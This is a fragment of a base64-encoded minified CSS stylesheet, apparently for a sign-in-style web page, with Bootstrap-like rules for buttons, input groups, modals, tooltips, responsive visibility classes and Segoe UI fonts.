hlY2tib3giXSxbZGF0YS10b2dnbGU9ImJ1dHRvbnMiXT4uYnRuLWdyb3VwPi5idG4gaW5wdXRbdHlwZT0icmFkaW8iXSxbZGF0YS10b2dnbGU9ImJ1dHRvbnMiXT4uYnRuLWdyb3VwPi5idG4gaW5wdXRbdHlwZT0iY2hlY2tib3giXXtwb3NpdGlvbjphYnNvbHV0ZTtjbGlwOnJlY3QoMCwgMCwgMCwgMCk7cG9pbnRlci1ldmVudHM6bm9uZX0uYnRuLWdyb3VwOmJlZm9yZSwuYnRuLWdyb3VwOmFmdGVye2NvbnRlbnQ6IiAiO2Rpc3BsYXk6dGFibGV9LmJ0bi1ncm91cDphZnRlcntjbGVhcjpib3RofS5idG4tZ3JvdXAgLmJ0bntmbG9hdDpsZWZ0O21hcmdpbi1yaWdodDo0cHh9LmlucHV0LWdyb3Vwe3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6dGFibGU7Ym9yZGVyLWNvbGxhcHNlOnNlcGFyYXRlfS5pbnB1dC1ncm91cFtjbGFzcyo9ImNvbC0iXXtmbG9hdDpub25lO3BhZGRpbmctbGVmdDowO3BhZGRpbmctcmlnaHQ6MH0uaW5wdXQtZ3JvdXAgLmZvcm0tY29udHJvbHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjI7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO21hcmdpbi1ib3R0b206MH0uaW5wdXQtZ3JvdXAtYWRkb24sLmlucHV0LWdyb3VwLWJ0biwuaW5wdXQtZ3JvdXAgLmZvcm0tY29udHJvbHtkaXNwbGF5OnRhYmxlLWNlbGx9LmlucHV0LWdyb3VwLWFkZG9uOm5vdCg6Zmlyc3QtY2hpbGQpOm5vdCg6bGFzdC1jaGlsZCksLmlucHV0LWdyb3VwLWJ0bjpub3QoOmZpcnN0LWNoaWxkKTpub3QoOmxhc3QtY2hpbGQpLC5pbnB1dC1ncm91cCAuZm9ybS1jb250cm9sOm5vdCg6Zmlyc3QtY2hpbGQpOm5vdCg6bGFzdC1jaGlsZCl7Ym9yZGVyLXJhZGl1czowfS5pbnB1dC1ncm91cC1hZGRvbiwuaW5wdXQtZ3JvdXAtYnRue3dpZHRoOjElO3doaXRlLXNwYWNlOm5vd3JhcDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9LmlucHV0LWdyb3VwLWFkZG9ue3BhZGRpbmc6NnB4IDEycHg7Zm9udC1zaXplOjE0cHg7Zm9udC13ZWlnaHQ6bm9ybWFsO2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzU1NTt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNlZWU7Ym9yZGVyOjFweCBzb2xpZCAjY2NjO2JvcmRlci1yYWRpdXM6NHB4fS5pbnB1dC1ncm91cC1hZGRvbi5pbnB1dC1zbSwuaW5wdXQtZ3JvdXAtc20+LmlucHV0LWdyb3VwLWFkZG9uLC5pbnB1dC1ncm91cC1zbT4uaW5wdXQtZ3JvdXAtYnRuPi5pbnB1dC1ncm91cC1hZGRvbi5idG57cGFkZGluZzo1cHggMTBweDtmb250LXNpemU6MTJweDtib3JkZXItcmFkaXVzOjNweH0uaW5wdXQtZ3JvdXAtYWRkb24uaW5wdXQtbGcsLmlucHV0LWdyb3VwLWxnPi5pbnB1dC1ncm91cC1hZGRvbiwuaW5wdXQtZ3JvdXAtbGc+LmlucHV0LWdyb3VwLWJ0bj4uaW5wdXQtZ3JvdXAtYWRkb24uYnRue3BhZGRpbmc6MTBweCAxNnB4O2ZvbnQtc2l6ZToxOHB4O2JvcmRlci1yYWRpdXM6NnB4fS5pbnB1dC1ncm91cC1hZGRvbiBpbnB1dFt0eXBlPSJyYWRpbyJdLC5pbnB1dC1ncm91cC1hZGRvbiBpbnB1dFt0eXBlPSJjaGVja2JveCJde21hcmdpbi10b3A6MH0uaW5wdXQtZ3JvdXAgLmZvcm0tY29udHJvbDpmaXJzdC1jaGlsZCwuaW5wdXQtZ3JvdXAtYWRkb246Zmlyc3QtY2hpbGQsLmlucHV0LWdyb3VwLWJ0bjpmaXJzdC1jaGlsZD4uYnRuLC5pbnB1dC1ncm91cC1idG46Zmlyc3QtY2hpbGQ+LmJ0bi1ncm91cD4uYnRuLC5pbnB1dC1ncm91cC1idG46Zmlyc3QtY2hpbGQ+LmRyb3Bkb3duLXRvZ2dsZSwuaW5wdXQtZ3JvdXAtYnRuOmxhc3QtY2hpbGQ+LmJ0bjpub3QoOmxhc3QtY2hpbGQpOm5vdCguZHJvcGRvd24tdG9nZ2xlKSwuaW5wdXQtZ3JvdXAtYnRuOmxhc3QtY2hpbGQ+LmJ0bi1ncm91cDpub3QoOmxhc3QtY2hpbGQpPi5idG57Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6MDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5pbnB1dC1ncm91cC1hZGRvbjpmaXJzdC1jaGlsZHtib3JkZXItcmlnaHQ6MH0uaW5wdXQtZ3JvdXAgLmZvcm0tY29udHJvbDpsYXN0LWNoaWxkLC5pbnB1dC1ncm91cC1hZGRvbjpsYXN0LWNoaWxkLC5pbnB1dC1ncm91cC1idG46bGFzdC1jaGlsZD4uYnRuLC5pbnB1dC1ncm91cC1idG46bGFzdC1jaGlsZD4uYnRuLWdyb3VwPi5idG4sLmlucHV0LWdyb3VwLWJ0bjpsYXN0LWNoaWxkPi5kcm9wZG93bi10b2dnbGUsLmlucHV0LWdyb3VwLWJ0bjpmaXJzdC1jaGlsZD4uYnRuOm5vdCg6Zmlyc3QtY2hpbGQpLC5pbnB1dC1ncm91cC1idG46Zmlyc3QtY2hpbGQ+LmJ0bi1ncm91cDpub3QoOmZpcnN0LWNoaWxkKT4uYnRue2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjB9LmlucHV0LWdyb3VwLWFkZG9uOmxhc3QtY2hpbGR7Ym9yZGVyLWxlZnQ6MH0uaW5wdXQtZ3JvdXAtYnRue3Bvc2l0aW9uOnJlbGF0aXZlO2ZvbnQtc2l6ZTowO3doaXRlLXNwYWNlOm5vd3JhcH0uaW5wdXQtZ3JvdXAtYnRuPi5idG57cG9zaXRpb246cmVsYXRpdmV9LmlucHV0LWdyb3VwLWJ0bj4uYnRuIC5idG57bWFyZ2luLWxlZnQ6LTFweH0uaW5wdXQtZ3JvdXAtYnRuPi5idG46aG92ZXIsLmlucHV0LWdyb3VwLWJ0bj4uYnRuOmZvY3VzLC5pbnB1dC1ncm91cC1idG4+LmJ0bjphY3RpdmV7ei1pbmRleDoyfS5pbnB1dC1ncm91cC1idG46Zmlyc3QtY2hpbGQ+LmJ0biwuaW5wdXQtZ3JvdXAtYnRuOmZpcnN0LWNoaWxkPi5idG4tZ3JvdXB7bWFyZ2luLXJpZ2h0Oi0xcHh9LmlucHV0LWdyb3VwLWJ0bjpsYXN0LWNoaWxkPi5idG4sLmlucHV0LWdyb3VwLWJ0bjpsYXN0LWNoaWxkPi5idG4tZ3JvdXB7bWFyZ2luLWxlZnQ6LTFweH0uYWxlcnR7bWFyZ2luLWJvdHRvbTo4cHg7bWFyZ2luLXRvcDo4cHh9LmFsZXJ0LWVycm9ye2NvbG9yOiNlODExMjN9Lm1vZGFsLW9wZW57b3ZlcmZsb3c6aGlkZGVufS5tb2RhbHtkaXNwbGF5Om5vbmU7b3ZlcmZsb3c6aGlkZGVuO3Bvc2l0aW9uOmZpeGVkO3RvcDowO3JpZ2h0OjA7Ym90dG9tOjA7bGVmdDowO3otaW5kZXg6MTA0MDstd2Via2l0LW92ZXJmbG93LXNjcm9sbGluZzp0b3VjaDtvdXRsaW5lOjB9Lm1vZGFsLW9wZW4gLm1vZGFse292ZXJmbG93LXg6aGlkZGVuO292ZXJmbG93LXk6YXV0b30ubW9kYWwtZGlhbG9ne3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOmF1dG99Lm1vZGFsLWNvbnRlbnR7cG9zaXRpb246cmVsYXRpdmU7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtvdXRsaW5lOjB9Lm1vZGFsLWJhY2tkcm9we3Bvc2l0aW9uOmZpeGVkO3RvcDowO3JpZ2h0OjA7Ym90dG9tOjA7bGVmdDowO2JhY2tncm91bmQtY29sb3I6IzAwMH0ubW9kYWwtYmFja2Ryb3AuZmFkZXtvcGFjaXR5OjA7ZmlsdGVyOmFscGhhKG9wYWNpdHk9MCl9Lm1vZGFsLWJhY2tkcm9wLmlue29wYWNpdHk6LjU7ZmlsdGVyOmFscGhhKG9wYWNpdHk9NTApfS5tb2RhbC1oZWFkZXJ7bWluLWhlaWdodDoxNi40Mjg1N3B4fS5tb2RhbC10aXRsZXttYXJnaW46MDtsaW5lLWhlaWdodDoxLjQyODU3fS5tb2RhbC1ib2R5e3Bvc2l0aW9uOnJlbGF0aXZlfS5tb2RhbC1mb290ZXI6YmVmb3JlLC5tb2RhbC1mb290ZXI6YWZ0ZXJ7Y29udGVudDoiICI7ZGlzcGxheTp0YWJsZX0ubW9kYWwtZm9vdGVyOmFmdGVye2NsZWFyOmJvdGh9Lm1vZGFsLXNjcm9sbGJhci1tZWFzdXJle3Bvc2l0aW9uOmFic29sdXRlO3RvcDotOTk5OXB4O3dpZHRoOjUwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6c2Nyb2xsfUBtZWRpYSAobWluLXdpZHRoOjU0MHB4KXsubW9kYWwtZGlhbG9ne3dpZHRoOjYwMHB4fS5tb2RhbC1zbXt3aWR0aDozMDBweH19QG1lZGlhIChtaW4td2lkdGg6NzY4cHgpey5tb2RhbC1sZ3t3aWR0aDo5MDBweH19Lm1vZGFsIC5tb2RhbC1kaWFsb2d7bWFyZ2luOjUwdmggYXV0bzstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGUoMCwgLTUwJSk7LW1zLXRyYW5zZm9ybTp0cmFuc2xhdGUoMCwgLTUwJSk7LW8tdHJhbnNmb3JtOnRyYW5zbGF0ZSgwLCAtNTAlKTt0cmFuc2Zvcm06dHJhbnNsYXRlKDAsIC01MCUpO2JvcmRlcjoycHggc29saWQgIzAwNjdiOH0ubW9kYWwgLm1vZGFsLWNvbnRlbnR7cGFkZGluZzoxNnB4fS5tb2RhbCBwOmZpcnN0LWNoaWxke21hcmdpbi10b3A6MH0ubW9kYWwgLmJ0bnt3aWR0aDpjYWxjKDQ4JSl9Lm1vZGFsIC5idG46bGFzdC1jaGlsZHttYXJnaW4tcmlnaHQ6MH0ubW9kYWwgLmJ0bjpvbmx5LWNoaWxke2Zsb2F0OnJpZ2h0fS5tb2RhbCAubW9kYWwtZm9vdGVye21hcmdpbi10b3A6MjRweH0udG9vbHRpcHtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OjEwNzA7ZGlzcGxheTpibG9jazt2aXNpYmlsaXR5OnZpc2libGV9LnRvb2x0aXAtaW5uZXJ7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LnRvb2x0aXAgLnRvb2x0aXAtaW5uZXJ7YmFja2dyb3VuZDojZjJmMmYyO2NvbG9yOiMwMDA7Ym9yZGVyOjFweCBzb2xpZCAjY2NjO3BhZGRpbmc6NXB4IDhweCA3cHggOHB4O21heC13aWR0aDozMjBweH0uY2xlYXJmaXg6YmVmb3JlLC5jbGVhcmZpeDphZnRlcntjb250ZW50OiIgIjtkaXNwbGF5OnRhYmxlfS5jbGVhcmZpeDphZnRlcntjbGVhcjpib3RofS5jZW50ZXItYmxvY2t7ZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvfS5oaWRle2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50fS5zaG93e2Rpc3BsYXk6YmxvY2sgIWltcG9ydGFudH0uaW52aXNpYmxle3Zpc2liaWxpdHk6aGlkZGVufS50ZXh0LWhpZGV7Zm9udDowLzAgYTtjb2xvcjp0cmFuc3BhcmVudDt0ZXh0LXNoYWRvdzpub25lO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyOjB9LmhpZGRlbntkaXNwbGF5Om5vbmUgIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiAhaW1wb3J0YW50fS5hZmZpeHtwb3NpdGlvbjpmaXhlZH0ucHVsbC1yaWdodHtmbG9hdDpyaWdodCAhaW1wb3J0YW50fS5wdWxsLWxlZnR7ZmxvYXQ6bGVmdCAhaW1wb3J0YW50fUAtbXMtdmlld3BvcnR7d2lkdGg6ZGV2aWNlLXdpZHRofUBtZWRpYSAobWF4LXdpZHRoOjUzOXB4KXsudmlzaWJsZS14c3tkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9dGFibGUudmlzaWJsZS14c3tkaXNwbGF5OnRhYmxlfXRyLnZpc2libGUteHN7ZGlzcGxheTp0YWJsZS1yb3cgIWltcG9ydGFudH10aC52aXNpYmxlLXhzLHRkLnZpc2libGUteHN7ZGlzcGxheTp0YWJsZS1jZWxsICFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjUzOXB4KXsudmlzaWJsZS14cy1ibG9ja3tkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjUzOXB4KXsudmlzaWJsZS14cy1pbmxpbmV7ZGlzcGxheTppbmxpbmUgIWltcG9ydGFudH19QG1lZGlhIChtYXgtd2lkdGg6NTM5cHgpey52aXNpYmxlLXhzLWlubGluZS1ibG9ja3tkaXNwbGF5OmlubGluZS1ibG9jayAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDo1NDBweCkgYW5kIChtYXgtd2lkdGg6NzY3cHgpey52aXNpYmxlLXNte2Rpc3BsYXk6YmxvY2sgIWltcG9ydGFudH10YWJsZS52aXNpYmxlLXNte2Rpc3BsYXk6dGFibGV9dHIudmlzaWJsZS1zbXtkaXNwbGF5OnRhYmxlLXJvdyAhaW1wb3J0YW50fXRoLnZpc2libGUtc20sdGQudmlzaWJsZS1zbXtkaXNwbGF5OnRhYmxlLWNlbGwgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6NTQwcHgpIGFuZCAobWF4LXdpZHRoOjc2N3B4KXsudmlzaWJsZS1zbS1ibG9ja3tkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9fUBtZWRpYSAobWluLXdpZHRoOjU0MHB4KSBhbmQgKG1heC13aWR0aDo3NjdweCl7LnZpc2libGUtc20taW5saW5le2Rpc3BsYXk6aW5saW5lICFpbXBvcnRhbnR9fUBtZWRpYSAobWluLXdpZHRoOjU0MHB4KSBhbmQgKG1heC13aWR0aDo3NjdweCl7LnZpc2libGUtc20taW5saW5lLWJsb2Nre2Rpc3BsYXk6aW5saW5lLWJsb2NrICFpbXBvcnRhbnR9fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KSBhbmQgKG1heC13aWR0aDo5OTFweCl7LnZpc2libGUtbWR7ZGlzcGxheTpibG9jayAhaW1wb3J0YW50fXRhYmxlLnZpc2libGUtbWR7ZGlzcGxheTp0YWJsZX10ci52aXNpYmxlLW1ke2Rpc3BsYXk6dGFibGUtcm93ICFpbXBvcnRhbnR9dGgudmlzaWJsZS1tZCx0ZC52aXNpYmxlLW1ke2Rpc3BsYXk6dGFibGUtY2VsbCAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCkgYW5kIChtYXgtd2lkdGg6OTkxcHgpey52aXNpYmxlLW1kLWJsb2Nre2Rpc3BsYXk6YmxvY2sgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6NzY4cHgpIGFuZCAobWF4LXdpZHRoOjk5MXB4KXsudmlzaWJsZS1tZC1pbmxpbmV7ZGlzcGxheTppbmxpbmUgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6NzY4cHgpIGFuZCAobWF4LXdpZHRoOjk5MXB4KXsudmlzaWJsZS1tZC1pbmxpbmUtYmxvY2t7ZGlzcGxheTppbmxpbmUtYmxvY2sgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6OTkycHgpey52aXNpYmxlLWxne2Rpc3BsYXk6YmxvY2sgIWltcG9ydGFudH10YWJsZS52aXNpYmxlLWxne2Rpc3BsYXk6dGFibGV9dHIudmlzaWJsZS1sZ3tkaXNwbGF5OnRhYmxlLXJvdyAhaW1wb3J0YW50fXRoLnZpc2libGUtbGcsdGQudmlzaWJsZS1sZ3tkaXNwbGF5OnRhYmxlLWNlbGwgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6OTkycHgpey52aXNpYmxlLWxnLWJsb2Nre2Rpc3BsYXk6YmxvY2sgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6OTkycHgpey52aXNpYmxlLWxnLWlubGluZXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7LnZpc2libGUtbGctaW5saW5lLWJsb2Nre2Rpc3BsYXk6aW5saW5lLWJsb2NrICFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjUzOXB4KXsuaGlkZGVuLXhze2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDo1NDBweCkgYW5kIChtYXgtd2lkdGg6NzY3cHgpey5oaWRkZW4tc217ZGlzcGxheTpub25lICFpbXBvcnRhbnR9fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KSBhbmQgKG1heC13aWR0aDo5OTFweCl7LmhpZGRlbi1tZHtkaXNwbGF5Om5vbmUgIWltcG9ydGFudH19QG1lZGlhIChtaW4td2lkdGg6OTkycHgpey5oaWRkZW4tbGd7ZGlzcGxheTpub25lICFpbXBvcnRhbnR9fS52aXNpYmxlLXByaW50e2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50fUBtZWRpYSBwcmludHsudmlzaWJsZS1wcmludHtkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9dGFibGUudmlzaWJsZS1wcmludHtkaXNwbGF5OnRhYmxlfXRyLnZpc2libGUtcHJpbnR7ZGlzcGxheTp0YWJsZS1yb3cgIWltcG9ydGFudH10aC52aXNpYmxlLXByaW50LHRkLnZpc2libGUtcHJpbnR7ZGlzcGxheTp0YWJsZS1jZWxsICFpbXBvcnRhbnR9fS52aXNpYmxlLXByaW50LWJsb2Nre2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50fUBtZWRpYSBwcmludHsudmlzaWJsZS1wcmludC1ibG9ja3tkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9fS52aXNpYmxlLXByaW50LWlubGluZXtkaXNwbGF5Om5vbmUgIWltcG9ydGFudH1AbWVkaWEgcHJpbnR7LnZpc2libGUtcHJpbnQtaW5saW5le2Rpc3BsYXk6aW5saW5lICFpbXBvcnRhbnR9fS52aXNpYmxlLXByaW50LWlubGluZS1ibG9ja3tkaXNwbGF5Om5vbmUgIWltcG9ydGFudH1AbWVkaWEgcHJpbnR7LnZpc2libGUtcHJpbnQtaW5saW5lLWJsb2Nre2Rpc3BsYXk6aW5saW5lLWJsb2NrICFpbXBvcnRhbnR9fUBtZWRpYSBwcmludHsuaGlkZGVuLXByaW50e2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50fX0udmlzaWJsZS14cywudmlzaWJsZS1zbSwudmlzaWJsZS1tZCwudmlzaWJsZS1sZywudmlzaWJsZS14bHtkaXNwbGF5Om5vbmUgIWltcG9ydGFudH0udmlzaWJsZS14cy1ibG9jaywudmlzaWJsZS14cy1pbmxpbmUsLnZpc2libGUteHMtaW5saW5lLWJsb2NrLC52aXNpYmxlLXNtLWJsb2NrLC52aXNpYmxlLXNtLWlubGluZSwudmlzaWJsZS1zbS1pbmxpbmUtYmxvY2ssLnZpc2libGUtbWQtYmxvY2ssLnZpc2libGUtbWQtaW5saW5lLC52aXNpYmxlLW1kLWlubGluZS1ibG9jaywudmlzaWJsZS1sZy1ibG9jaywudmlzaWJsZS1sZy1pbmxpbmUsLnZpc2libGUtbGctaW5saW5lLWJsb2NrLC52aXNpYmxlLXhsLWJsb2NrLC52aXNpYmxlLXhsLWlubGluZSwudmlzaWJsZS14bC1pbmxpbmUtYmxvY2t7ZGlzcGxheTpub25lICFpbXBvcnRhbnR9QG1lZGlhIChtaW4td2lkdGg6MTQwMHB4KXsudmlzaWJsZS14bHtkaXNwbGF5OmJsb2NrICFpbXBvcnRhbnR9dGFibGUudmlzaWJsZS14bHtkaXNwbGF5OnRhYmxlfXRyLnZpc2libGUteGx7ZGlzcGxheTp0YWJsZS1yb3cgIWltcG9ydGFudH10aC52aXNpYmxlLXhsLHRkLnZpc2libGUteGx7ZGlzcGxheTp0YWJsZS1jZWxsICFpbXBvcnRhbnR9fUBtZWRpYSAobWluLXdpZHRoOjE0MDBweCl7LnZpc2libGUteGwtYmxvY2t7ZGlzcGxheTpibG9jayAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDoxNDAwcHgpey52aXNpYmxlLXhsLWlubGluZXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDoxNDAwcHgpey52aXNpYmxlLXhsLWlubGluZS1ibG9ja3tkaXNwbGF5OmlubGluZS1ibG9jayAhaW1wb3J0YW50fX1AbWVkaWEgKG1pbi13aWR0aDoxNDAwcHgpey5oaWRkZW4teGx7ZGlzcGxheTpub25lICFpbXBvcnRhbnR9fUBmb250LWZhY2V7Zm9udC1mYW1pbHk6IlNlZ29lIFVJIFdlYmZvbnQiO2ZvbnQtd2VpZ2h0OjMwMDtzcmM6bG9jYWwoIlNlZ29lIFVJIFNlbWlsaWdodCIpfUBmb250LWZhY2V7Zm9udC1mYW1pbHk6IlNlZ29lIFVJIFdlYmZvbnQiO2ZvbnQtd2VpZ2h0OjcwMDtzcmM6bG9jYWwoIlNlZ29lIFVJIEJvbGQiKX1AZm9udC1mYWNle2ZvbnQtZmFtaWx5OiJTZWdvZSBVSSBXZWJmb250Ijtmb250LXN0eWxlOml0YWxpYztmb250LXdlaWdodDo0MDA7c3JjOmxvY2FsKCJTZWdvZSBVSSBJdGFsaWMiKX1AZm9udC1mYWNle2ZvbnQtZmFtaWx5OiJTZWdvZSBVSSBXZWJmb250Ijtmb250LXN0eWxlOml0YWxpYztmb250LXdlaWdodDo3MDA7c3JjOmxvY2FsKCJTZWdvZSBVSSBCb2xkIEl0YWxpYyIpfWE6Zm9jdXN7b3V0bGluZS1vZmZzZXQ6MH1pbnB1dFt0eXBlPSJmaWxlIl06Zm9jdXMsaW5wdXRbdHlwZT0icmFkaW8iXTpmb2N1cyxpbnB1dFt0eXBlPSJjaGVja2JveCJdOmZvY3Vze291dGxpbmUtb2Zmc2V0OjB9LmNvbnRhaW5lciwuY29udGFpbmVyLWZsdWlke3dpZHRoOjEwMCV9LklFX004IHNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYgIWltcG9ydGFudH1ib2R5LklFX003LnJ0bHtmb250LWZhbWlseToiU2Vnb2UgVUkiLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIn0uSUVfTTcgdWx7bWFyZ2luLWxlZnQ6MH0uSUVfTTcgaW5wdXRbdHlwZT0iYnV0dG9uIl0sLklFX003IGlucHV0W3R5cGU9InN1Ym1pdCJdLC5JRV9NNyBidXR0b24sLklFX003IGlucHV0W3R5cGU9ImJ1dHRvbiJdLmJ0biwuSUVfTTcgaW5wdXRbdHlwZT0ic3VibWl0Il0uYnRuLC5JRV9NNyBidXR0b24uYnRue2xpbmUtaGVpZ2h0OjE0MiU7b3ZlcmZsb3c6dmlzaWJsZX0uSUVfTTcgZGl2LmlucHV0LWdyb3Vwe2Zsb2F0OmxlZnQ7ei1pbmRleDo1MDAwfS5JRV9NNyBkaXYuaW5wdXQtZ3JvdXAgYnV0dG9uLC5JRV9NNyBkaXYuaW5wdXQtZ3JvdXAgYnV0dG9uLmJ0bntvdmVyZmxvdzpoaWRkZW59LklFX003IGRpdi5pbnB1dC1ncm91cCBsYWJlbC5pbnB1dC1ncm91cC1hZGRvbnt3aWR0aDphdXRvO2Zsb2F0OmxlZnR9LklFX003IGRpdi5pbnB1dC1ncm91cCBkaXYuaW5wdXQtZ3JvdXAtYnRue2Zsb2F0OmxlZnR9LnRleHQtY2FwdGlvbnttYXJnaW46LjVyZW0gMCAuNXJlbSAwO21hcmdpbjo4cHggMCA4cHggMH1zZWxlY3R7cGFkZGluZy10b3A6M3B4O3BhZGRpbmctYm90dG9tOjNweDtwYWRkaW5nLWxlZnQ6NnB4fS5zZWN0aW9ue21hcmdpbi10b3A6MH1ib2R5e2RpcmVjdGlvbjpsdHJ9Ym9keSAjbWFpbmNvbnRlbnQsYm9keSAjY19jb250ZW50e21hcmdpbjowIGF1dG99Ym9keSAjbWFpbmNvbnRlbnR7d2lkdGg6OTAlO21pbi1oZWlnaHQ6NDAwcHh9Lmx0cl9vdmVycmlkZSwuZGlybHRye2RpcmVjdGlvbjpsdHI7dGV4dC1hbGlnbjpsZWZ0fWxhYmVsLmxhYmVsLW1hcmdpbnttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTo4cHh9bGFiZWwuZGlzYWJsZWR7Ym9yZGVyOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMikgIWltcG9ydGFudH1sYWJlbC5mb2N1cy1ib3JkZXItY29sb3IuaW5wdXQtZ3JvdXAtYWRkb24uaGFzLWVycm9yLGxhYmVsLmlucHV0LWdyb3VwLWFkZG9uLmhhcy1lcnJvcntib3JkZXItY29sb3I6I2U4MTEyM30uYm9sZHtmb250LXdlaWdodDo2MDB9Lm1vZGFsLWhlYWRlciBoNC5Vc2VyVGl0bGUsLndyYXAtY29udGVudHt3b3JkLXdyYXA6YnJlYWstd29yZH1sYWJlbC5wbGFjZWhvbGRlcntkaXNwbGF5Om5vbmUgIWltcG9ydGFudH0udGV4dC1zZWNvbmRhcnl7Y29sb3I6cmdiYSgwLDAsMCwwLjcpO2ZvbnQtc2l6ZToxM3B4fS5hZ3JlZW1lbnQtbGF5b3V0e3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtd3JhcDpicmVhay13b3JkO292ZXJmbG93LXg6aGlkZGVufWJvZHkuY2J7dGV4dC1hbGlnbjpjZW50ZXJ9Ym9keS5jYiAjZnRyTG9nb3ttYXJnaW46MH1ib2R5LmNiICNtYWluY29udGVudHttYXgtd2lkdGg6Mzg0cHg7cGFkZGluZy1sZWZ0OjEycHg7cGFkZGluZy1yaWdodDoxMnB4fWJvZHkuY2IgLnRleHQtMTN7Zm9udC1zaXplOi44MTI1cmVtfWJvZHkuY2IgLnJhZGlvLGJvZHkuY2IgLmFsZXJ0LWVycm9ye3RleHQtYWxpZ246bGVmdH1ib2R5LmNiIGRpdi5wbGFjZWhvbGRlckNvbnRhaW5lcnt3aWR0aDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlfWJvZHkuY2IgZGl2LnBsYWNlaG9sZGVySW5uZXJDb250YWluZXJ7bGVmdDowO3RvcDowO3dpZHRoOjEwMCU7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDo1fWJvZHkuY2IgZGl2LnBsYWNlaG9sZGVye2NvbG9yOiM2NjY7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDttYXJnaW4tdG9wOjZweDttYXJnaW4tbGVmdDo5cHg7d2hpdGUtc3BhY2U6bm93cmFwO3RleHQtYWxpZ246bGVmdDtjdXJzb3I6dGV4dH1ib2R5LmNiIGRpdi5wbGFjZWhvbGRlci5sdHJfb3ZlcnJpZGV7bWFyZ2luLWxlZnQ6MTFweDttYXJnaW4tcmlnaHQ6YXV0bzt0ZXh0LWFsaWduOmxlZnR9Ym9keS5jYiAubW9kYWxEaWFsb2dPdmVybGF5e3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzAwMDtvcGFjaXR5Oi41Oy1tcy1maWx0ZXI6InByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5BbHBoYShPcGFjaXR5PTUwKSI7ZmlsdGVyOmFscGhhKG9wYWNpdHk9NTApO3otaW5kZXg6NTAwMDB9Ym9keS5jYiAubW9kYWxEaWFsb2dDb250YWluZXJ7cG9zaXRpb246Zml4ZWQ7dG9wOjYwcHg7